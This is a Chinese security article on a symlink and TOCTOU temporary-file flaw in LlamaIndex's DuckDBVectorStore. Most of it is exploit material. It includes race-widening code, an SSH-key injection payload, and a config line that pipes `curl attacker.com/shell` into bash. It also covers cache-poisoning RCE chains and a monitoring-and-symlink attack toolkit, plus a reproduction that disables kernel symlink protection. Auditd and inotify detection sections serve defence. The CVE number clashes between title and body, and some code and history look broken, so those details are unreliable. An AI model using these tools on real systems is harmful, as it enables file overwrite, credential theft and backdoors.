CVE-2025-7647 - AI框架中的符号链接攻击与TOCTOU竞态条件
Linux 下使用可预测/硬编码目录带来安全隐患
漏洞原理
CVE-2025-1750 是 LlamaIndex DuckDBVectorStore 组件中的一个严重安全漏洞,CVSS 评分达到 7.8(高危)。该漏洞源于组件在创建临时文件时使用了可预测的命名策略,导致攻击者可以通过符号链接攻击实现任意文件读写,在特定条件下甚至可升级为远程代码执行。
从漏洞分类来看,此问题跨越了多个 CWE 类别:CWE-377(不安全的临时文件创建)、CWE-59(错误的链接解析)、CWE-362(竞态条件)以及 CWE-20(输入验证不恰当)。它揭示了上层 AI 框架在追求开发效率时,往往忽略了底层操作系统对于共享资源(Shared Resources)的并发控制原则。
攻击向量分析
漏洞触发路径
在 LlamaIndex 的 DuckDBVectorStore 实现中,当向量数据库需要持久化或加载向量索引时,组件会在系统临时目录创建工作文件。受影响版本的核心问题代码路径如下:
from llama_index.vector_stores.duckdb import DuckDBVectorStore
vector_store = DuckDBVectorStore()
vector_store.add(nodes)在 add 操作内部,组件会生成类似以下的文件路径:
cache_path = os.path.join(tempfile.gettempdir(), f"duckdb_{cache_id}")这种命名方式的问题在于 cache_id 的生成往往基于可预测的因素,如数据集名称、向量维度、或者简单的哈希值。攻击者通过多次逆向或源码分析即可预知这些文件名的生成规律。
TOCTOU 竞态条件
决定性命名与共享命名空间的冲突
漏洞的核心根源在于 llama-index-core 在处理缓存、数据摄取(Ingestion)或中间文件存储时,采用了“确定性”或“弱随机性”的文件命名策略,并将这些文件放置在了系统的全局临时目录(通常是 Linux 上的 /tmp 或 Windows 上的 C:\Windows\Temp)中。
在 Linux/Unix 中,/tmp 是一个特殊的目录。它具有 World-Writable(全员可写)属性,为了防止用户互相删除文件,系统设置了 Sticky Bit(粘滞位)。然而,Sticky Bit 只能防止用户 A 删除用户 B 的文件,却无法防止用户 A 在用户 B 写入文件之前,预先抢占文件路径。
当 LlamaIndex 的代码逻辑中出现类似 os.path.join(tempfile.gettempdir(), "fixed_cache_name") 的操作时,实际上是在一个不受控的公共命名空间中声明了一个固定的地址。这种设计违背了安全编码中的最小权限与资源隔离原则,导致攻击者可以利用这一可预测性构建竞态条件。
从攻击者的视角来看,要利用这个漏洞需要满足以下前提条件:能够访问目标系统的临时目录、能够预测或观察到受害者进程的文件命名模式、受害者进程以具有写权限的用户身份运行。在容器化环境和多租户 AI 平台中,这些条件并不难满足。
以一个实际的多租户 Jupyter Hub 环境为例,多个数据科学家共享同一台计算节点:
import os
cache_key = hashlib.md5(dataset_path.encode()).hexdigest()
temp_db_path = f"/tmp/duckdb_vectors_{cache_key}.db"这段代码的致命缺陷在于使用 MD5 哈希作为唯一标识,而 MD5 是确定性的。如果数据集路径是用户可控的,或者可以从其他渠道推断出来,攻击者就可以精确计算出即将创建的临时文件名。
符号链接攻击机制
虽然拒绝服务(DoS)是该漏洞的一种可能后果,但其真正的杀伤力在于符号链接攻击。这种攻击利用了文件系统层面的 Time-of-Check to Time-of-Use (TOCTOU) 缺陷。
攻击者首先在系统上立足(获得低权限 Shell),通过逆向分析 LlamaIndex 源码,确定程序即将写入的临时文件路径(例如 /tmp/llama_index_process_data)。由于 Linux 文件系统允许在任何拥有写权限的目录下创建符号链接,攻击者可以在 LlamaIndex 进程启动前,预先在该路径创建一个指向敏感目标的软链接。
假设攻击者创建了链接 /tmp/llama_index_process_data -> /etc/passwd(或受害者的 ~/.ssh/authorized_keys)。当 LlamaIndex 进程运行并尝试向该临时路径写入数据时,如果底层代码直接使用标准的 open() 系统调用而没有指定 O_NOFOLLOW 标志,或者没有使用排他性创建模式(O_EXCL),操作系统内核将透明地解析该符号链接。
深入理解这个攻击需要了解 Linux 内核对符号链接的处理机制。当用户空间程序调用 open() 系统调用时,内核会遍历路径中的每个组件。如果遇到符号链接,默认情况下会自动跟随到目标,这个过程被称为 dereference。关键点在于,对于大多数应用程序来说,这个过程是透明的,开发者往往意识不到正在操作的不是预期的文件。
查看 Python 的文件操作实现:
f = open("/tmp/user_data.db", "w")
f.write(vector_data)这段看似无害的代码在 CPython 层面会转换为:
int fd = open("/tmp/user_data.db", O_WRONLY | O_CREAT | O_TRUNC, 0644);如果 /tmp/user_data.db 是一个符号链接指向 /etc/crontab,那么内核会直接打开 /etc/crontab 进行写入,完全不会发出任何警告。Python 的 tempfile 模块之所以安全,正是因为它在底层使用了 O_EXCL 标志和原子性操作。
TOCTOU 时间窗口分析
TOCTOU 漏洞利用的关键在于时间窗口(Time Window)的存在。这个窗口是指程序检查某个状态到实际使用该状态之间的时间间隔。在 LlamaIndex 的场景中,这个窗口可能从几微秒到几秒不等,取决于程序的具体实现。
通过编写一个测试程序可以测量这个时间窗口:
import time
import os
import sys
def measure_toctou_window():
target = "/tmp/test_file"
for _ in range(1000):
check_start = time.time_ns()
exists = os.path.exists(target)
check_end = time.time_ns()
use_start = time.time_ns()
if exists:
with open(target, "r") as f:
data = f.read()
use_end = time.time_ns()
window_ns = use_start - check_end
print(f"TOCTOU window: {window_ns} ns")
if window_ns > 1000000:
print(f"[!] Large window detected: {window_ns/1000000} ms")
measure_toctou_window()在实际运行中,这个时间窗口会受到多种因素影响:系统负载、CPU 调度策略、文件系统缓存状态、以及 Python 的 GIL(全局解释器锁)。在多核系统上,如果受害者进程和攻击者进程运行在不同的核心上,攻击者有更高概率在这个窗口内完成符号链接的创建。
高级的攻击者可以使用 set_realtime_priority 来提高进程优先级,从而增大竞态成功的概率:
#include <sched.h>
void elevate_priority() {
struct sched_param param;
param.sched_priority = 99;
sched_setscheduler(0, SCHED_FIFO, ¶m);
}这使得攻击者进程能够抢占受害者进程的执行,进一步扩大时间窗口。
多维攻击向量
读取攻击与写入攻击的区别
CVE-2025-1750 涉及两种不同但相关的攻击向量:文件读取和文件写入。它们的攻击目标和利用方式存在显著差异。
读取攻击的目标是信息泄露。攻击者创建符号链接将临时文件指向敏感文件,当受害者程序读取这个临时文件时,实际上读取的是敏感文件的内容。在 LlamaIndex 的场景中,这通常发生在向量索引加载阶段:
def load_vector_index(cache_path):
with open(cache_path, "rb") as f:
index_data = pickle.load(f)
return index_data如果攻击者将 /tmp/duckdb_vectors.db 链接到 /etc/shadow,当受害者尝试加载向量索引时,实际上会将 shadow 文件的内容反序列化。这通常会导致反序列化错误,但在某些情况下,攻击者可以构造特殊的文件内容来触发 pickle 反序列化漏洞。
写入攻击的破坏性更大,它允许攻击者覆盖任意文件。典型的利用路径包括:
exploit_targets = {
"SSH Backdoor": "~/.ssh/authorized_keys",
"Privilege Escalation": "/etc/sudoers.d/backup",
"Persistence": "/etc/cron.d/malware",
"Data Theft": "~/.aws/credentials",
"Supply Chain": "~/.local/share/pip/requirements.txt"
}每种目标都需要精心构造写入的内容。例如,要写入 SSH authorized_keys,攻击者需要:
ssh_payload = """ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil
"""
class MaliciousVectorStore:
def add(self, nodes):
for node in nodes:
if "admin" in node.text.lower() or "password" in node.text.lower():
victim_file = "/tmp/duckdb_cache.db"
if os.path.islink(victim_file):
with open(victim_file, "a") as f:
f.write(ssh_payload)实际上攻击者不需要修改 LlamaIndex 的代码,只需要控制向量数据库的输入内容。许多 RAG 应用允许用户上传文档来构建知识库,攻击者可以在文档中嵌入恶意内容,这些内容随后会被写入向量数据库的临时文件。
DuckDB 文件格式与向量存储
要深入理解这个漏洞,需要了解 DuckDB 的文件格式特性。DuckDB 是一个嵌入式分析数据库,类似 SQLite 但针对列式数据进行了优化。它将整个数据库存储为单个文件,默认扩展名是 .db。
DuckDB 文件由多个部分组成:文件头、数据库页、以及写前日志(WAL)。文件头包含数据库的元数据和版本信息:
def read_duckdb_header(db_path):
with open(db_path, "rb") as f:
header = f.read(100)
magic = header[:4]
if magic != b"DUCK":
print(f"[!] Not a valid DuckDB file")
version = int.from_bytes(header[4:8], "little")
database_size = int.from_bytes(header[8:16], "little")
print(f"Version: {version}")
print(f"Database Size: {database_size} bytes")LlamaIndex 使用 DuckDB 存储向量数据和元数据。典型的模式包含以下表结构:
CREATE TABLE vector_data (
id INTEGER PRIMARY KEY,
doc_id VARCHAR,
embedding FLOAT[1536],
text_content TEXT,
metadata JSON
);
CREATE TABLE embedding_index (
vector_id INTEGER,
node_id VARCHAR,
embedding FLOAT[1536]
);这种结构意味着向量数据库文件包含大量的浮点数数组。当攻击者通过符号链接将其他文件(如配置文件)指向 DuckDB 数据库路径时,LlamaIndex 会尝试将目标文件解析为 DuckDB 格式。这通常会导致数据库损坏错误,但在某些情况下,如果目标文件恰好包含类似 DuckDB 的二进制模式,可能会触发更严重的漏洞。
更危险的是 DuckDB 支持加载扩展和执行 SQL 函数。如果攻击者能够控制向量数据库的初始化过程,可能通过 SQL 注入实现代码执行:
malicious_query = """
SELECT load_extension('/tmp/evil_extension.so');
SELECT evil_func();
"""
class VulnerableVectorStore:
def query(self, vector):
conn = duckdb.connect(self.db_path)
result = conn.execute(malicious_query)
return result.fetchall()虽然这需要额外的漏洞利用步骤,但符号链接攻击可以作为攻击链的第一步,为后续的 SQL 注入或反序列化攻击创造条件。
从文件覆盖到 RCE 的攻击链
CVE-2025-1750 的 CVSS 评分中包含了对潜在 RCE 的考虑。虽然符号链接攻击本身只是文件操作,但在 AI 基础设施的环境中,可以通过多步攻击链实现远程代码执行。
攻击链的第一步是利用符号链接覆盖 Python 包的缓存文件。Python 的 import 系统会在特定位置查找并缓存编译的字节码:
import py_compile
import sys
cache_dir = "/tmp/__pycache__"
target_module = "requests"
py_compile.compile(f"/tmp/{target_module}.py",
cache_dir, f"{target_module}.cpython-310.pyc")攻击者可以将 LlamaIndex 的临时文件链接到 Python 模块的缓存位置。当受害者程序下次导入该模块时,会加载被污染的字节码:
ln -s /home/victim/.local/lib/python3.10/site-packages/requests/__pycache__/__init__.cpython-310.pyc /tmp/duckdb_vectors.db当攻击者控制了向量数据库的内容后,实际上就控制了模块的字节码。通过精心构造的 Python 字节码,可以实现任意代码执行。
另一个 RCE 路径是通过污染 Poetry 或 Pip 的依赖缓存:
def poison_poetry_cache():
poetry_cache = Path.home() / ".cache" / "pypoetry" / "cache"
target = poetry_cache / "repositories" / "pypi" / "packages" / "llama-index-core"
malicious_wheel = build_malicious_wheel()
with open(target / "llama_index_core-0.1.0-py3-none-any.whl", "wb") as f:
f.write(malicious_wheel)当受害者更新依赖或重新安装包时,会下载被污染的包,从而在安装过程中执行恶意代码。这种供应链攻击的隐蔽性极强,因为恶意代码是在合法的依赖更新过程中执行的。
更直接的 RCE 方式是针对配置文件的注入。许多 AI 应用使用 YAML 或 Python 配置文件:
config_content = """
database:
url: sqlite:////tmp/vectors.db
extensions:
- __import__('os').system('curl attacker.com/shell | bash')
"""
def write_malicious_config():
target = "/tmp/app_config.yaml"
symlink_target = "/home/victim/ai_app/config.yaml"
os.symlink(symlink_target, target)
with open(target, "w") as f:
f.write(config_content)如果配置文件在加载时不安全地反序列化(如使用 yaml.unsafe_load),攻击者可以通过 YAML 序列化漏洞直接实现代码执行。
Windows 系统下的差异与利用
虽然 Linux/Unix 是 CVE-2025-1750 的主要受影响平台,但 Windows 系统也存在类似的漏洞利用方式。Windows 的临时目录通常位于 C:\Users\<username>\AppData\Local\Temp 或 C:\Windows\Temp,但文件系统的安全模型存在显著差异。
Windows 不支持传统的 Unix 符号链接,而是使用两种不同的机制:符号链接(Symbolic Links)和联结点(Junction Points)。符号链接需要管理员权限或开发者模式才能创建,而联结点可以在目录级别创建且不需要特殊权限:
mkdir C:\Users\victim\AppData\Local\Temp\duckdb_cache
mklink /J C:\Users\victim\AppData\Local\Temp\duckdb_cache\vectors.db C:\Users\victim\.ssh\authorized_keysWindows 的文件访问控制列表(ACL)提供了一层额外的保护,但这并不意味着 Windows 系统免疫。在默认配置下,Windows 临时目录的权限为:
C:\Users\alice\AppData\Local\Temp (BUILTIN\Users:OI CI IO F)这个权限配置允许所有用户在该目录中创建文件和子目录。虽然 Windows 没有 sticky bit 的概念,但 ACL 可以限制删除权限。然而,符号链接和联结点的创建仍然可能被利用。
Windows 的另一个攻击向量是通过 NTFS 重解析点(Reparse Points)。攻击者可以创建一个目录重解析点,将受害者应用的临时目录重定向到其他位置:
import win32file
import win32con
def create_reparse_point(source, target):
handle = win32file.CreateFile(
source,
win32file.GENERIC_WRITE,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE,
None,
win32con.OPEN_ALWAYS,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None
)
win32file.DeviceIoControl(
handle,
win32file.FSCTL_SET_REPARSE_POINT,
target,
None,
None
)在 Windows 容器环境中,特别是使用 Windows Containers 或 Hyper-V 容器时,临时文件的隔离依赖于容器的虚拟化边界。但如果容器配置了挂载的卷或命名管道,攻击者可能通过这些共享资源实施类似的攻击。
另外 Windows 的路径解析存在一些特性可以被利用。例如,Windows 支持 DOS 设备名称(如 C: 是 \DosDevices\C: 的别名)和 GUID 路径。攻击者可以通过这些特性绕过路径检查:
import os
device_path = r"\\?\C:\Users\victim\.ssh\authorized_keys"
os.symlink(device_path, "C:\\Users\\victim\\AppData\\Local\\Temp\\duckdb.db")这种路径混淆攻击在某些情况下可以绕过应用层的安全检查,导致文件操作被重定向到意外的位置。
相关工具
自动化漏洞利用
在实际攻击场景中,经验丰富的攻击者会开发专门的利用工具来自动化符号链接攻击。这些工具通常包含监控、预测和利用三个核心模块。
监控模块负责发现受害者的文件操作模式:
import inotify.adapters
import re
class LlamaindexExploit:
def __init__(self):
self.patterns = [
r'duckdb_.*\.db$',
r'llama_.*\.db$',
r'vector_.*\.cache$'
]
self.targets = []
def monitor_tmp(self):
i = inotify.adapters.Inotify()
i.add_watch('/tmp')
for event in i.event_gen():
if event is None:
continue
header, type_names, watch_path, filename = event
if 'IN_CREATE' in type_names:
for pattern in self.patterns:
if re.match(pattern, filename):
self.targets.append(filename)
print(f"[+] Detected LlamaIndex temp file: {filename}")预测模块尝试根据观察到的文件名生成未来的文件名。由于 LlamaIndex 通常使用哈希或序列号生成文件名,攻击者可以通过观察模式来预测:
def predict_next_filename(self, observed_files):
if not observed_files:
return None
for fname in observed_files:
match = re.search(r'duckdb_([a-f0-9]+)\.db', fname)
if match:
hash_part = match.group(1)
return f"duckdb_{self.increment_hash(hash_part)}.db"
return None利用模块在预测的文件路径上创建符号链接,并持续监控受害者进程的活动:
class RaceExploit:
def __init__(self, target_path, victim_pid):
self.target_path = target_path
self.victim_pid = victim_pid
self.symlink_created = False
def create_symlink(self, destination):
if not self.symlink_created:
os.makedirs(os.path.dirname(self.target_path), exist_ok=True)
os.symlink(destination, self.target_path)
self.symlink_created = True
print(f"[+] Created symlink: {self.target_path} -> {destination}")
def wait_for_victim(self):
while True:
try:
with open(f"/proc/{self.victim_pid}/status", "r") as f:
if "Sleeping" in f.read():
self.create_symlink("/home/victim/.ssh/authorized_keys")
break
except ProcessLookupError:
break
time.sleep(0.001)完整的多线程利用工具可以同时监控多个进程和多个文件模式,大大提高攻击成功率。这种工具在真实的多租户环境中可以被部署为后台服务,持续寻找可利用的机会。
取证分析与事件响应
当怀疑系统受到符号链接攻击时,需要系统化的取证分析方法。首先检查可疑的文件访问时间戳:
stat /tmp/duckdb_vectors.db
ls -la /tmp | grep "llama\|duckdb\|vector"
find /tmp -type l -ls符号链接的特征是在 ls 输出中显示为 l(link)类型,并且会显示链接的目标。但更隐蔽的攻击可能创建符号链接后立即删除,或者使用硬链接(如果目标在同一文件系统)。
内核审计日志是更可靠的证据来源。如果配置了 auditd,可以查询特定时间范围内的系统调用:
ausearch -ts yesterday -k tmp_symlink -i
ausearch -sc symlink -sc symlinkat分析输出时关注以下指标:
- 异常用户创建的符号链接
- 指向敏感文件路径(如 /etc、/home、~/.ssh)的链接
- 在临时目录中指向外部位置的链接
- 在受害者进程运行时间窗口内创建的链接
对于正在运行的系统,可以使用 ftrace 或 perf 监控系统调用:
perf trace -e openat,linkat,symlinkat --filter 'filename == /tmp/*'
strace -f -e trace=openat,linkat,symlinkat -p $(pgrep -f llamaindex)事件响应的优先级取决于被攻击的目标。如果攻击目标是认证密钥或配置文件,应该立即:
- 中止所有使用 LlamaIndex 的进程
- 检查并轮换所有可能泄露的凭证
- 审查系统配置文件的完整性
- 重新部署受影响的应用到修复版本
- 限制对 /tmp 目录的访问(使用单独挂载或挂载选项)
如果确认发生了数据泄露或权限提升,还需要进行更全面的入侵调查,包括检查日志中的异常活动、检查网络连接、以及查找可能的持久化后门。
漏洞历史演进
相关历史漏洞对比
CVE-2025-1750 并非第一个利用临时文件和符号链接的漏洞。这类问题在软件安全领域有悠久的历史,可以追溯到 Unix 系统的早期时代。
1996 年发现的 /tmp race condition 漏洞影响了大量 Unix 程序。经典的案例包括各种邮件服务器、打印系统和日志程序。这些程序通常在 /tmp 创建文件时使用可预测的名称,攻击者可以在文件创建之前抢占文件路径。
2000 年代的 eQ-3.1、WU-FTPD 和其他 FTP 服务器都曾遭受过符号链接攻击。攻击者通过在 FTP 用户的上传目录中创建符号链接,可以覆盖系统文件或读取敏感数据。
2011 年的 CVE-2011-0481 是 Python tempfile 模块的一个漏洞,在某些情况下生成的临时文件名不够随机。这个漏洞影响了 Django 等多个 Python Web 框架的文件上传功能。
2014 年的 Shellshock(CVE-2014-6271)虽然本身不是符号链接漏洞,但展示了环境变量和临时文件如何组合成严重的安全问题。攻击者可以通过环境变量注入恶意代码,然后利用临时文件的执行获得代码执行。
2021 年的 CVE-2021-4034(PwnKit)是 Polkit 程序中的一个权限提升漏洞。虽然利用方式不同,但同样涉及了对共享资源(用户 ID)的非预期访问。这个漏洞展示了即使是经过严格安全审查的系统组件,也可能存在多年的隐蔽漏洞。
LlamaIndex 的这个漏洞与历史上的案例相比,有一些独特的特点。首先,它的受害者是 AI/ML 工作负载,这是攻击的新兴领域。其次,向量数据库文件通常很大且结构复杂,这使得攻击者可以注入大量精心构造的数据。第三,AI 系统的批处理特性意味着漏洞可能在大规模数据处理过程中被触发,影响范围远超传统的 Web 应用。
本地复现
本节的复现演示将完整展示符号链接攻击在 LlamaIndex 场景中的具体执行过程。我们需要模拟受害者和攻击者两个角色的交互。由于该漏洞的核心在于对共享目录(/tmp)的非原子性操作,我们编写一个最小化的 Python 脚本来模拟 LlamaIndex 的缺陷逻辑,并使用 Shell 命令模拟攻击。
现在的 Linux 发行版内核通常开启了 fs.protected_symlinks 保护。我们使用kali作为复现环境,为了让复现能够成功,我们需要暂时关闭这个保护,或者确保攻击者和受害者是同一个用户。
复现环境的关键在于理解这个攻击不要求受害者有任何恶意行为,它只是正常使用了有漏洞的组件。攻击者只需要在合适的时间窗口内创建符号链接,之后就可以坐等受害者进程自己触发漏洞。这种被动等待的攻击模式使得检测变得极其困难,因为从受害者的角度看,所有文件操作都是正常的。
复现环境准备
内核安全降级
Kali Linux 基于 Debian,默认开启了 fs.protected_symlinks 内核保护。如果你不关闭它,当你尝试让受害者进程读取你创建的符号链接时,内核会检测到链接的所有者(攻击者)与目标所有者不匹配,从而直接拦截操作。
sysctl fs.protected_symlinks
sysctl -w fs.protected_symlinks=0
sysctl fs.protected_symlinksfs.protected_symlinks变为0则说明内核保护关闭。在生产环境中永远不要这样做,这里只是为了复现漏洞。这个参数的作用范围是系统级别的,关闭后所有进程都将失去符号链接保护,可能导致其他安全问题。
创建对立角色
我们需要创建两个用户:victim(运行 AI 服务的受害者)和 attacker(潜伏的攻击者)。
useradd -m -s /bin/bash victim
passwd victim
useradd -m -s /bin/bash attacker
passwd attacker这里创建的两个用户分别代表了真实的攻击场景中的对立双方。victim 用户运行着使用 LlamaIndex 的 AI 服务,可能是某个数据处理脚本或 Web API。attacker 用户已经通过某种方式(如 SSH 漏洞、弱密码、或者其他服务漏洞)获得了这台机器的低权限访问。在真实场景中,attacker 可能已经潜伏了很长时间,通过监控系统进程来寻找可利用的漏洞。
复现步骤演示
受害者准备高价值资产
打开一个终端窗口,登录为 victim 用户。
su victim
echo "SECRET_API_KEY_ABCD12345" > ~/my_secret.config
chmod 600 ~/my_secret.config
cat <<EOF > vulnerable_app.py
import os
import json
import time
CACHE_DIR = "/tmp/llama_cache_dir"
TARGET_FILE = os.path.join(CACHE_DIR, "data.json")
print(f"[+] App running as user: {os.getuid()}")
if not os.path.exists(CACHE_DIR):
print("[-] Cache dir not found, creating...")
os.makedirs(CACHE_DIR)
else:
print("[!] Cache dir exists, using it...")
print(f"[*] Writing data to {TARGET_FILE}")
try:
with open(TARGET_FILE, 'w') as f:
f.write('{"hacked": true, "payload": "MALICIOUS_DATA"}')
print("[+] Write successful!")
except Exception as e:
print(f"[X] Write failed: {e}")
EOF这个模拟脚本包含了一个典型的漏洞模式:检查目录是否存在,然后创建目录或使用现有目录。问题在于检查和创建之间存在时间窗口,攻击者可以在检查之后、使用之前插入符号链接。
另外注意代码中直接使用 open(TARGET_FILE, 'w') 而没有指定 O_EXCL 标志,这意味着如果 TARGET_FILE 已经存在(作为符号链接),它会被直接覆盖。生产代码中的另一个常见错误是先检查文件类型再打开:
if os.path.isfile(TARGET_FILE):
with open(TARGET_FILE) as f:
data = f.read()这种模式同样存在 TOCTOU 漏洞,因为在 os.path.isfile 检查和 open 调用之间,文件状态可能已经改变。
攻击者埋雷
su attacker
ls -ld /tmp
mkdir -p /tmp/llama_cache_dir
ln -s /home/victim/my_secret.config /tmp/llama_cache_dir/data.json
ls -l /tmp/llama_cache_dir/data.json这里的关键步骤是创建符号链接。注意 attacker 用户虽然不能直接写入 victim 的 home 目录,但可以在 /tmp 目录下创建符号链接指向任意位置。符号链接本身只是一个指向目标的指针,创建它不需要对目标有任何权限。
在真实攻击中,attacker 可能会通过监控 /tmp 目录来发现受害者应用的模式:
import os
import time
from pathlib import Path
def watch_tmp():
tmp = Path("/tmp")
known_files = set()
while True:
current_files = set(f.name for f in tmp.iterdir())
new_files = current_files - known_files
for fname in new_files:
if "llama" in fname.lower() or "cache" in fname.lower():
print(f"[+] Found potential cache file: {fname}")
known_files = current_files
time.sleep(1)一旦识别出模式,攻击者可以自动化地创建符号链接来劫持未来的文件操作。这种持续监控和自动攻击的实现使得漏洞利用变得更加隐蔽和高效。
触发漏洞
回到 victim 的终端窗口,运行程序。
python3 vulnerable_app.py看到输出 [!] Cache dir exists, using it... 以及 [+] Write successful!。这意味着受害者程序没有报错,顺利地写入了攻击者提供的路径。
程序输出显示一切正常,这恰好说明了这类漏洞的危险性。从应用程序的角度看,所有的操作都成功了。没有异常抛出,没有错误日志,文件写入顺利完成。但实际上,数据被写入了完全错误的位置。这种静默失败的性质使得系统管理员很难及时发现问题,直到损坏的配置文件导致系统故障。
查看攻击成果
在 victim 的终端里检查那个敏感文件。
cat ~/my_secret.config我们看到原本的 SECRET_API_KEY_ABCD12345 已经被覆盖为 {"hacked": true, "payload": "MALICIOUS_DATA"}。证明攻击成功。
在真实的 LlamaIndex 场景中,攻击者可以选择更有价值的目标。例如劫持 .ssh/authorized_keys 来植入后门,或者污染 Python 包缓存来实现供应链攻击。更危险的是,向量数据库文件通常包含嵌入向量和原始文本的映射关系,攻击者可以通过读取这些文件来窃取训练数据或知识库内容,这些数据往往是企业的核心资产。
检查文件权限可以帮助确认攻击是否成功:
ls -la ~/my_secret.config
stat ~/my_secret.config输出会显示文件的所有者和修改时间都已改变。如果攻击者指向的是系统配置文件如 /etc/cron.d/backup,那么下一步就可以通过写入计划任务来获得定期执行的 shell,实现从低权限到持久化控制的跨越。
利用场景
容器环境中的利用
现代 AI 应用大多部署在容器环境中。Docker 和 Kubernetes 的常见配置可能会无意中放大这个漏洞的影响。当容器以 privileged 模式运行或挂载宿主机的 /tmp 目录时,容器内的符号链接攻击可以直接逃逸到宿主机。
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-ai-app
spec:
containers:
- name: llamaindex
image: ai-app:latest
volumeMounts:
- mountPath: /tmp
name: tmp-volume
volumes:
- name: tmp-volume
hostPath:
path: /tmp
type: Directory这种配置在多租户 Kubernetes 集群中是极其危险的。一个命名空间中的恶意 Pod 可以在共享的 /tmp 目录中埋设符号链接,当其他命名空间的应用写入临时文件时就会触发攻击。
更隐蔽的利用方式是针对 CI/CD 流水线。GitHub Actions、GitLab CI 等系统在构建过程中经常使用固定的临时目录模式:
- name: Build Vector Index
run: |
python build_index.py --cache /tmp/vector_cache攻击者如果能够污染 PR 检查环境中的临时文件,就可以在构建产物中植入恶意代码,这些代码随后会被合并到主分支并分发到所有用户。
检测与防御技术
由于这类攻击在受害者端不会产生明显错误,传统的应用日志难以发现异常。系统层面的审计规则是更有效的检测手段。
Linux Auditd 系统可以监控可疑的 symlink 和 open 操作:
auditctl -a exit,always -F arch=b64 -S symlinkat -S symlink -F dir=/tmp -k tmp_symlink
auditctl -a exit,always -F arch=b64 -S openat -F dir=/tmp -k tmp_open然后在日志中查找可疑模式:
ausearch -k tmp_symlink -k tmp_open | grep -v "current_user"另外可以监控 /tmp 目录中创建的符号链接:
import pyinotify
class SymlinkHandler(pyinotify.ProcessEvent):
def process_default(self, event):
if os.path.islink(event.pathname):
target = os.readlink(event.pathname)
if not target.startswith("/tmp"):
print(f"[ALERT] Suspicious symlink: {event.pathname} -> {target}")
wm = pyinotify.WatchManager()
mask = pyinotify.IN_CREATE
notifier = pyinotify.Notifier(wm, SymlinkHandler())
wm.add_watch('/tmp', mask)
notifier.loop()对于 LlamaIndex 的具体实现,可以创建一个监控脚本来检测 DuckDBVectorStore 的临时文件操作:
import psutil
import os
def find_llama_processes():
for proc in psutil.process_iter(['pid', 'name', 'open_files']):
try:
for file in proc.info['open_files'] or []:
if 'duckdb' in file.path.lower() and '/tmp' in file.path:
print(f"[+] Found LlamaIndex temp file: {file.path}")
if os.path.islink(file.path):
print(f"[!] WARNING: File is a symlink to {os.readlink(file.path)}")
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass系统层面分析
文件描述符与内存映射
文件描述符竞态条件
符号链接攻击的一个变种是利用文件描述符在 fork 和 exec 之间的泄露。在某些复杂的 AI 应用架构中,父进程创建临时文件后通过 fork 创建子进程处理数据。如果文件描述符没有正确设置 close-on-exec 标志,子进程可能继承不应该访问的文件描述符。
import os
import fcntl
def vulnerable_fork():
tmp_file = open("/tmp/duckdb_temp.db", "w")
pid = os.fork()
if pid == 0:
tmp_file.write("child process data")
tmp_file.close()
else:
tmp_file.write("parent process data")
tmp_file.close()这个漏洞的关键在于 FD_CLOEXEC 标志未设置。正确的实现应该是:
def safe_fork_with_fd():
tmp_file = open("/tmp/duckdb_temp.db", "w")
flags = fcntl.fcntl(tmp_file.fileno(), fcntl.F_GETFD)
fcntl.fcntl(tmp_file.fileno(), fcntl.F_SETFD, flags | fcntl.FD_CLOEXEC)
pid = os.fork()
if pid == 0:
tmp_file.write("child process data")
tmp_file.close()
else:
tmp_file.write("parent process data")
tmp_file.close()在容器环境中,这个问题更加严重。容器启动时通常会继承大量文件描述符,包括宿主机的 socket、管道和文件。攻击者如果能够在容器中扫描 /proc/self/fd,可以发现这些泄露的文件描述符并进行利用。
内存映射文件的攻击面
DuckDB 和许多向量数据库使用 mmap 来映射大型数据库文件。这引入了额外的安全考虑。当文件通过 mmap 映射到内存后,即使原文件被替换或删除,内存中的映射仍然有效。
攻击者可以利用这个特性在 mmap 之后、munmap 之前替换文件:
import mmap
import os
def mmap_race_condition():
fd = os.open("/tmp/vectors.db", os.O_RDWR)
size = os.fstat(fd).st_size
mapping = mmap.mmap(fd, size, mmap.MAP_SHARED, mmap.PROT_WRITE)
os.unlink("/tmp/vectors.db")
os.symlink("/etc/passwd", "/tmp/vectors.db")
victim_process = subprocess.Popen(["python", "load_vectors.py"])
time.sleep(0.1)
munmap(mapping)
close(fd)这个攻击的关键在于 mmap 映射持续存在的时间窗口。攻击者可以在映射创建后、使用前替换底层文件。虽然现代操作系统有各种保护机制,但在某些配置下这种攻击仍然可行。
对于向量数据库,mmap 的另一个风险是访问控制失效。mmap 的权限检查发生在 mmap 系统调用时,之后的内存访问不再进行权限检查:
void* mapped = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0);
mapped[offset] = value;如果攻击者能够在 mmap 后修改底层的文件权限或所有者,即使原始进程不应该有写入权限,仍然可以通过映射的内存区域写入数据。
侧信道分析
侧信道检测技术
符号链接攻击的检测可以通过侧信道分析来实现。经验丰富的攻击者不会直接尝试攻击,而是先通过观察系统的行为模式来确定攻击的可行性。
CPU 时间侧信道可以用于检测文件操作:
import time
import os
def detect_file_operation(target_path):
latencies = []
for _ in range(1000):
start = time.perf_counter_ns()
try:
os.stat(target_path)
except FileNotFoundError:
pass
end = time.perf_counter_ns()
latencies.append(end - start)
avg_latency = sum(latencies) / len(latencies)
if avg_latency > 1000000:
print(f"[+] Detected slow file access: {avg_latency} ns")
print(f"[!] Target file might be on network filesystem or symlink")
detect_file_operation("/tmp/duckdb_vectors.db")这种技术可以区分本地文件、网络文件和符号链接,因为它们的访问延迟特征不同。攻击者可以在不触发任何警报的情况下收集信息,确定最佳的攻击时机。
另一个侧信道是进程调度延迟。在多核系统上,攻击者可以监控受害者进程的 CPU 亲和性和调度延迟:
import psutil
def monitor_victim_scheduling(victim_pid):
proc = psutil.Process(victim_pid)
previous_cpu_times = proc.cpu_times()
while True:
time.sleep(0.01)
current_cpu_times = proc.cpu_times()
cpu_delta = current_cpu_times.user - previous_cpu_times.user
if cpu_delta == 0:
print(f"[+] Victim process blocked at {time.time()}")
previous_cpu_times = current_cpu_times当受害者进程进行文件 I/O 时,可能会被调度器阻塞。攻击者可以利用这个时间窗口创建符号链接,提高竞态成功的概率。
持久化与后门技术
一旦通过符号链接攻击成功获得访问权限,攻击者会试图建立持久化后门,以便在漏洞修复后仍然能够访问系统。
